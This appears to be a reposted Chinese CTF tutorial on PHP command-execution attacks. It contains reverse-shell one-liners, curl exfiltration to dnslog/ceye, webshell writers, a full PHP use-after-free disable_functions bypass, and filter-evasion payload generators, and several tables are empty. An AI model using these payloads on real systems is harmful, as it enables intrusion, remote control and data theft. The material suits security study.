ASCII码表完整版
|
|
|
|
|
|
|
|
---|---|---|---|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
系统命令简介
系统命令,简单解释就是在系统终端可执行的预定义命令,就是大家常见的黑框框。在linux操作系统中,预定义命令默认存储位置为/bin目录,而windows操作系统的预定义命令默认存储位置为C:WindowsSystem32,下面将针对linux和win的系统命令做简单介绍。
管道符
在win和linux这两种操作系统中,我们可以利用管道符来同时执行多条命令
windows:‘|’ 直接执行后面的语句‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句‘&’ 前面和后面命令都要执行,无论前面真假&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令linux:Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同
通配符
在linux操作系统中支持如下两种通配符
? 可代替任意一个字符* 可代替0-任意个字符
例
若当前目录只存在一个名为flag的文件cat flag <==> cat fla? <==> cat f*
重定向
在linux操作系统中一共有>和>>两个重定向符号
1.>符号
用于将命令的标准输出重定向到指定的文件,如果文件不存在,则会创建文件;如果文件已经存在,则会覆盖文件内容。
ls > file.txt //将ls的执行结果写入file.txt中>file.txt //创建名为file.txt的文件
2.>>符号
将命令的标准输出重定向到指定的文件,但与>
不同的是,如果文件已经存在,>>
会将输出追加到文件末尾而不是覆盖文件内容。
ls >> file.txt
常见系统命令
在高级语言当中,系统命令通常需要特定的函数才能执行。例如php中的
|
---|
|
|
|
|
|
|
|
python中的例如等
根据函数不同,其所需参数以及回显情况等都会略有不同,需要根据实际情况进行调整
windows
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
|
|
linux
基础命令
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
在ctf比赛当中,最常见的就是文件读取命令的绕过,下面是一些常见的文件读取命令
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
其它命令
除了以上的常见命令外还有其它的一些常用命令
find
常用于在linux系统中查找某文件(支持通配符)的具体位置
find / -name flagfind / -name f*find / -name fla?/为查找的起始根目录,以上命令会以/(根目录)为查找根目录,在其以及其子目录中查找符合后续命名规则的文件
sed
在某些情况需要对文件内容进行适当修改,但题目环境并未提供vi等文本编辑器,此时可以利用sed达到精准替换某行的目的
实现格式为:sed -i '行数s/原内容/替换为的内容/' 文件名sed -i '2s/x.x.x.x/150.158.24.228/' filenamesed -i '3s/7002/7000/' filenamesed -i '4s/.*//' filename
PS:
1.该命令支持通配符2.该命令对于特殊符号需要用进行转义,如上述的例1中的.
echo
如果需要大规模写入内容,可以使用base64编码防止数据丢失,再结合echo将内容写入指定文件
实现格式为:echo'base64编码的数据' | base64 -d > filename
二、命令执行
system类命令执行
所谓system类命令执行即是原题目已经给出system函数,且其参数是可控的这种情况,下面将以php为例着重讲解该情况下的命令执行方式以及绕过姿势
示例代码
<?phpsystem($_POST['1']);?>
无回显rce
在1.3节开篇我们提到了很多可执行系统命令的函数,他们都可以达成执行系统命令的目的,但其中的一些函数会不会将执行的结果回显,例如exec函数,此时我们就需要通过某些手法得到回显,下面将对这些手法进行详细讲解
反弹shell
vps简介
作为一名合格的web手,一台vps是必不可少的,所谓vps就是一台具有公网ip的服务器,可从下面三方厂家获取
1.华为云:https://www.huaweicloud.com/(云耀云服务器)
2.腾讯云:https://cloud.tencent.com/(轻量型服务器)
3.阿里云:https://www.aliyun.com/
服务器和我们个人PC电脑最大的区别就是具有公网ip,实际效果就是任意用户皆可达我们的服务器(可ping通),而个人PC电脑绝大多数情况是无法实现该功能的。详细购买流程以及产品讯息可与对应客服探讨,成功购买后即可使用ssh(服务器自带的远程连接工具)或电脑自带的远程桌面功能进行服务器登录
1.ssh登录
ssh软件推荐termius
从厂家获取账号密码以及公网ip后将其填入1,2,3处,然后点击4处即可远程连接到服务器
2.电脑自带远程桌面功能登录(常用于win系统)
在此界面输入公网ip,稍后再输入厂家给予的账号密码即可登录成功
反弹手法
1.nc反弹
正向连接:linux靶机:nc -e /bin/bash -lvvnp 端口win靶机:nc -e cmd -lvvnp 端口 //win系统不自带nc,需要手动上传,此处nc并非固定,根据实际上传的程序名做相应修改攻击机:nc 靶机ip 端口反向连接:linux靶机:nc -e /bin/bash 攻击机ip 端口win靶机:nc -e cmd 攻击机ip 端口攻击机:nc -lvvnp 端口//上述所有操作皆是带有-lvvnp的操作(端口监听)优先
2.bash反弹
攻击机:nc -lvvnp 端口靶机:bash -c "bash -i >& /dev/tcp/攻击机ip/攻击机监听的端口 0>&1"数组版靶机(java源码):bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i}//使用时需要对命令中的编码部分解码,将其中的ip和端口修改为攻击机ip段端口后并重新编码才可使用,浏览器传参时需要url编码
示例演示
1.在靶机**可达的机器(可ping通,如公网服务器或同网段机器)**上监听端口
2.在靶机上执行bash反弹命令
3.查看刚刚监听端口的服务器
可以发现反弹shell成功,此时可执行任意系统命令
3.写shell文件后执行
创建shell.shbash -c "bash -i >& /dev/tcp/服务器ip/端口 0>&1"将上述bash反弹命令写入文件,详见1.2.3节中的echo用法./shell.sh利用.执行shell.sh反弹shell
正向连接与反向连接简介
借用迪总一张图
PC1、PC2、PC3为我们的目标机器,此时不难发现三台靶机都处于内网环境
正向连接:攻击机主动连接靶机
反向连接:靶机主动连接攻击机
准则:谁被动,谁监听
在上述环境中,有且仅有可访问路由、linux外网服务器、windows服务器这三个ip是可访问的,而我们的三台PC靶机此时处于内网环境,相当于我们的个人PC电脑,此时是无法访问的,我们的外网服务器最多只可致可访问路由处,即攻击机无法主动连接到靶机,所以此时就无法正向连接。由于我们外网服务器皆为公网服务器,所以三台PC靶机是可以访问到服务器的,即可以进行反向连接,让靶机主动连接攻击机,也就是我上面演示的bash反弹的操作。
数据写出
将命令的执行结果写入其他文件,再访问其他文件获取执行结果,下以1.txt为例
利用cp命令:cp flag.php 1.txt利用mv命令:mv flag.php 1.txt利用>输出结果到文件:ls > 1.txt利用tee命令:ls | tee 1.txt //tee会从从标准输入读取数据,并将其写入文件以及标准输出利用script命令:ls | script 1.txt //会开启命令记录,命令执行状态以及结果都将会写入文件中
数据外带
在题目环境出网的条件下,我们可以通过数据外带将命令执行的结果外带出来,此处推荐两个外带网址:
1.http://dnslog.cn
2.http://ceye.io/(推荐,更稳定)
linux的数据外带归功于其反引号可执行任意系统命令这一特殊机制
单行传输:ping `whoami`.dns地址curl http://dns地址/`whoami`//whoami即为我们要执行的系统命令,将其用``包裹后利用.将其与我们的dns地址进行拼接,执行命令后即可在dns处得到whoami命令的回显多行传输:(外带只会显示第一行的数据)curl http://y91yp4.ceye.io/`ls / | base64` //将结果进行base64编码后外带出来curl http://y91yp4.ceye.io/`whoami | sed -n '2p'` //输出固定行的结果curl -T /flag http://y91yp4.ceye.io/ //指定文件外带
下面我会就这两个外带平台进行演示
1.dnslog
首先点击get subdomain,即可获得2所示的url地址,随后即可在靶机执行如下命令
ping `whoami`.dns地址ping `whoami`.b854kz.dnslog.cn
点几下refresh record(点成get就得重新搞了)即可获得回显,可以得到靶机当前用户为root
2.ceye
login处登录后应为profile,在profile出得到url地址后即可执行如下命令
curl http://y91yp4.ceye.io/`ls / | base64`
点几下reload即可得到回显结果
盲注
import requestsimport stringimport timeurl='http://localhost.test.php/?c='dic=string.printable[:-6]flag=''for i inrange(1,50): judge=0for j in dic: now=f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi' start=time.time() r=requests.get(now) end=time.time()ifint(end)-int(start) >1: judge=1 flag+=jprint(flag)breakif judge==0:breakprint(flag)
核心命令分析
a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi
第一部分
a=$(cat /flag | head -1 | cut -b {i});定义变量a,将cat /flag的结果利用head -1取第一行,利用cut -b number取结果的第i(脚本中的循环i)个字符,将字符赋值给a
第二部分
if [ $a = {j} ];判断得到的变量a是否等于j,j为上述脚本中dic字典的遍历结果
第三部分
then sleep 2;fi如果判断为真,则睡眠2秒,通过网页是否睡眠判断出flag的每个字母的结果
命令行写shell
可以通过命令执行写入shell,然后蚁剑连接,在某些情况会是一个不错的选择
echo'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=' | base64 -d > ./123.php //base64解码结果为<?php eval($_POST[1]);?>echo'<?php eval($_GET[1]);phpinfo();?>' > /var/www/html/2.php
长度限制绕过
示例代码
<?phpif($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6)); }else{die("111"); }}
此题利用substr函数对eval的代码进行了限制
get传参 F=`$F `; sleep 3经过substr($F,0,6)截取后 得到 `$F `;也就是会执行 eval("`$F `;");我们把原来的$F带进去eval("``$F `;sleep 3`");也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `; sleep 3");前面的命令我们不需要管,但是后面的命令我们可以自由控制。这样就在服务器上成功执行了 sleep 3所以 最后就是一道无回显的RCE题目了,将sleep 3换成我们2.1.1节中所讲的操作即可得到答案
命令绕过
空格
$IFS{cat,flag.php} --这里把,替换成了空格键%20 --代表space键x20 --代表space键,eval类中可用%09 --需要php环境,如cat%09flag.phpx09 --代表space键,eval类中可用${IFS} --单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS}flag.php$IFS$9 --后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php< --重定向,如cat<flag.php<> --重定向,如cat<>flag.php
字符串拼接绕过
a=l;b=s;c=/;$a$b$c
定义变量a为l,b为s,c为/,执行命令$a$b $c即ls /
base64编码绕过
echo MTIzCg==|base64 -d 其将会打印123echo bHMgLw== | base64 -d | bash `echo bHMgLw== | base64 -d` ==>三种结果皆为ls /echo bHMgLw== | base64 -d | sh
16进制编码绕过
生成脚本
<?php$a = 'ls /';echo bin2hex($a); //6c73202f?>
payload
echo6c73202f | xxd -r -p | bash`echo6c73 | xxd -r -p`echo `6c73202f` | xxd -r -p | sh > 1.txt
单双引号绕过
ca''t flag ca""t flagl''s /l""s /
反斜杠绕过
ls /ls /var/www/htmlcat fag
绕过ip中的句点
网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
数字转ip地址
ip地址转数字
域名转数字ip
正则匹配绕过
cat flag => cat [e-g]lag cat f{k..m}ag
两种正则匹配稍有不同:
1.[]为开区间,并不包含左右边界
2.{}为闭区间,包含左右边界
所以可得,前者只会匹配f,而后者会匹配k,l,m
内敛执行法绕过
cat `ls`//获取ls下的所有的文件内容
黑洞绕过
黑洞:
>/dev/null2>&1>代表重定向,会将我们命令执行的所有结果全部丢进预定义的/dev/null这一垃圾桶中,导致我们收不到回显
利用管道符绕过,效果详见1.1节
ls || >/dev/null2>&1
绕过open_basedir()
1.ini_set重设置绕过
<?php// 设置 open_basedirini_set('open_basedir', '/path/to/allowed/directory:/another/allowed/directory');?>
可以设置多个安全目录,目录和目录之间可以使用:进行分隔
2.UAF脚本绕过安全目录
使用时需要进行url编码再传入(bp编码)
<?phpfunctionctfshow($cmd) {global$abc, $helper, $backtrace;classVuln{public$a;publicfunction__destruct() { global$backtrace; unset($this->a);$backtrace = (newException)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace(); } } }classHelper{public$a, $b, $c, $d; }functionstr2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]); }return$address; }functionptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8; }return$out; }functionwrite(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8; } }functionleak($addr, $p = 0, $s = 8) {global$abc, $helper; write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return$leak; }functionparse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz; } elseif($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } }if(!$data_addr || !$text_size || !$data_size)returnfalse;return [$data_addr, $text_size, $data_size]; }functionget_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue; } elsecontinue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue; } elsecontinue;return$data_addr + $i * 8; } }functionget_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return$addr; } } }functionget_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8); }$addr += 0x20; } while($f_entry != 0);returnfalse; }functiontrigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg; }if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.'); }$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed"); }$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address"); }if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header"); }if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address"); }if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address"); }$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();}ctfshow("cat /flag02.txt");ob_end_flush();?>
绕过disable_function
适用于eval类命令执行
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo$line;}$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo$line;}$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}#扫描根目录有什么文件$a=newDirectoryIterator('glob:///*');foreach($aas$f){echo($f->__toString()." ");}$a=newDirectoryIterator('glob:///*');foreach($aas$f){echo($f->getFilename()." ");} $a=opendir('/');while(($file = readdir($a)) !=false){echo$file." ";} c=var_dump(scandir('/'));$a=opendir('/');while(($file=readdir($a)) != false) {echo$file."";}#读取的话一般都是用的include(),highlight_file(),show_source(),readfile(),require(),require_once()等函数进行读取
如果结果被替换,可以在代码后边加一个exit退出,进而绕过对于结果的替换
$a=opendir('/');while(($file=readdir($a)) != false) {echo$file."";}exit();
eval类命令执行
所谓eval类命令执行即原题中给出了eval()这一函数,并让其参数可控
示例代码
<?phpeval($_POST['1']);?>
eval函数的本质是将任意字符串当作php代码执行,我们在进行get和post传参是传入的参数默认都是字符串形式的,正好也一定会符合这个条件
无字母数字rce
简单来说,无字母数字rce就是把我们可控参数中的数字和字母都ban掉了,我们需要通过不可见字符的运算构造出可见字符,并执行相应命令,下面的绕过姿势本质都是通过不可见字符之间的关系运算构造出我们所需要的字符串并执行我们的恶意命令。
示例代码
<?phpif(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {eval($_GET['shell']);}
取反绕过
通过取反操作使得原命令变为不可见字符,绕过waf检测,在eval执行时再通过取反操作还原为原恶意命令,进行执行任意恶意代码
构造脚本1
<?php$a=urlencode(~('call_user_func'));$b=urlencode(~('system'));$c=urlencode(~('whoami'));echo$a;echo"n";echo$b;echo"n";echo$c;echo"n";echo"(~".$a.")(~".$b.",~".$c.",'');";?>
构造脚本2
<?php//在命令行中运行fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("rn", "r", "n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("rn", "r", "n"), "", fgets(STDIN)); echo'[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
异或绕过
通过不可见字符之间的异或运算构造出任意恶意命令,将两个脚本按照规定命名放到同一个目录下,每次使用时需要根据题目代码更换php脚本中的正则部分,更改好运行python代码,根据提示构造即可
xor.php
<?php/*author yu22x*/$myfile = fopen("xor_rce.txt", "w");$contents="";for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i); }else{$hex_i=dechex($i); }if($j<16){$hex_j='0'.dechex($j); }else{$hex_j=dechex($j); }$preg = '/[a-z0-9A-Z]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo""; }else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."n"; } }}}fwrite($myfile,$contents);fclose($myfile);
xor.py
import requestsimport urllibfrom sys import *import osdefaction(arg): s1 = "" s2 = ""for i in arg: f = open("xor_rce.txt", "r")whileTrue: t = f.readline()if t == "":breakif t[0] == i:# print(i) s1 += t[2:5] s2 += t[6:9]break f.close() output = "("" + s1 + ""^"" + s2 + "")"return (output)whileTrue: param = action(input("n[+] your function:")) + action(input("[+] your command:")) + ";"print(param)
或绕过
通过不可见字符之间的或运算构造出任意恶意命令,将两个脚本按照规定命名放到同一个目录下,每次使用时需要根据题目代码更换php脚本中的正则部分,更改好运行python代码,根据提示构造即可
or.php
<?php$myfile = fopen("or.txt", "w");$contents="";for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i); }else{$hex_i=dechex($i); }if($j<16){$hex_j='0'.dechex($j); }else{$hex_j=dechex($j); }$preg = '/[b-df-km-uw-z0-9+~{}]+/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo""; }else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."n"; } }}}fwrite($myfile,$contents);fclose($myfile);
or.py
# -*- coding: utf-8 -*-import requestsimport urllibfrom sys import *import osos.system("php rce_or.php") # 没有将php写入环境变量需手动运行defaction(arg): s1 = "" s2 = ""for i in arg: f = open("or.txt", "r")whileTrue: t = f.readline()if t == "":breakif t[0] == i:# print(i) s1 += t[2:5] s2 += t[6:9]break f.close() output = "("" + s1 + ""|"" + s2 + "")"return (output)whileTrue: param = action(input("n[+] your function:")) + action(input("[+] your command:"))print(param)
自增绕过
通过php的自增特性,构造出恶意字符串assert($POST[]);,进而实现任意代码执行
何为自增?
我们可以发现,A在进行++操作之后变成了B,规律遵循ascii码表,详见开头。以下为构造脚本
//测试发现7.0.12以上版本不可使用//使用时需要url编码下$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);固定格式 构造出来的 assert($_POST[_]);然后post传入 _=phpinfo();
临时文件执行
此方法的适用环境稍有不同,以上手法皆为eval类的无字母数字命令执行,而此方法适用于system类命令执行
import requestswhileTrue: url = "http://url/?c=.+/???/????????[@-[]" r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})if r.text.find("flag") >0:print(r.text)break
我们通过发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。由于字母数字被过滤,所以所有的字母数字都用?通配符代替
关于正则部分
. /???/????????[@-[]
根据观察,文件的最后一位必定为大写字母,所以可以通过正则强制匹配大写字符增加成功几率,详见开头ascii码表
关于.
. filename
用当前的shell执行一个文件中的命令。当前运行的shell是bash,则. file的意思就是用bash执行filename文件中的命令。所以我们就可以用.来执行我们上传的恶意文件
参考请求包
POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1Host: 192.168.43.210:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type:multipart/form-data;boundary=--------123Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 109----------123Content-Disposition:form-data;name="file";filename="1.txt"#!/bin/shls /----------123--
有或无参数rce
所谓无参数rce就是利用各种已定义函数的复杂搭配,在eval命令执行的条件下成功构造我们所需的恶意代码的操作。例如下方简介表格中的最后一条代码串。
示例代码
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) { eval($_GET['code']);}
常见函数及简介
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
查看当前目录文件
print_r(scandir(current(localeconv())));
读取当前目录文件
show_source(end(scandir(getcwd())));show_source(current(array_reverse(scandir(getcwd()))));
随机返回当前目录文件
highlight_file(array_rand(array_flip(scandir(getcwd()))));show_source(array_rand(array_flip(scandir(getcwd()))));show_source(array_rand(array_flip(scandir(current(localeconv())))));
查看上级目录
print_r(scandir(dirname(getcwd())));print_r(scandir(next(scandir(getcwd()))));print_r(scandir(next(scandir(getcwd()))));
读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
查看根目录文件名
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
session_id
通过开启session,构造恶意session值进而执行任意恶意代码,构造脚本如下
<?phpecho bin2hex("phpinfo();");?>
恶意代码
eval(hex2bin(session_id(session_start())));
恶意session值
phpsessid=706870696e666f28293b
getallheaders
示例代码
源代码
<?phphighlight_file(__FILE__);// FLAG in the flag.php$file = $_GET['file'];if(isset($file) && !preg_match('/base|rot/i',$file)){ @include($file);}else{die("nope");}?>
payload:
eval(array_pop(getallheaders()));//这里的array_pop是弹出http头的最后一个//getallheaders()会获取所有请求头信息的一个数组
请求头:因为得是在最后一个,所以用字母让他排到最后,例如:ZZZZZ=phpinfo();或者使用eval(pos(next(array_reverse(getallheaders())));
注意看,此时我们通过print成功输出了getallheaders的数组,并构造了恶意请求头ZZZZZZ,看图可得其位于最后一位
此时我们可以通过end函数成功提取到了我们构造的ZZZZZ的值
将print换成eval即可发现我们成功执行了phpinfo
get_defined_vars
获取全局变量$_POST$_GET$_FILE$_COOKIE
由图可得,我们获取了所有的全局变量
观察这张图,我利用了两个pos成功提取出了我们恶意构造的123这一变量
此时我将print换成了system,再将恶意构造的123换成了系统命令ls,发包后即可发现我们成功执行了ls系统命令
绕过简介
eval类和system类命令执行的绕过大同小异,此处额外提供两个仅在eval类生效的脚本,其本质为php的字符解析机制和php的函数利用,以下可用于绕过特殊字符段的过滤,适用于show_source等多种2.2.2中的显示和包含文件函数的参数构造
1.16进制绕过"x77x61x66x2ex70x68x70",外面必须为双引号
16进制的构造脚本
original_string=''while(original_string!='end'): original_string = input() hex_representation = "\x".join("{:02x}".format(ord(char)) for char in original_string) final_result = "\x" + hex_representationprint(final_result)
2.chr函数绕过chr(119).chr(97).chr(102).chr(46).chr(112).chr(104).chr(112)
chr的构造脚本
def convert_to_ascii_special(text): ascii_special = ''for char in text: ascii_code = ord(char) ascii_special += 'chr({}).'.format(ascii_code) ascii_special = ascii_special[:-1] # 去除最后一个加号return ascii_specialuser_input=''while(user_input!='end'): user_input = input("请输入要转换的字符:") result = convert_to_ascii_special(user_input)print(result)
原文始发于微信公众号(富贵安全):你来你也能RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论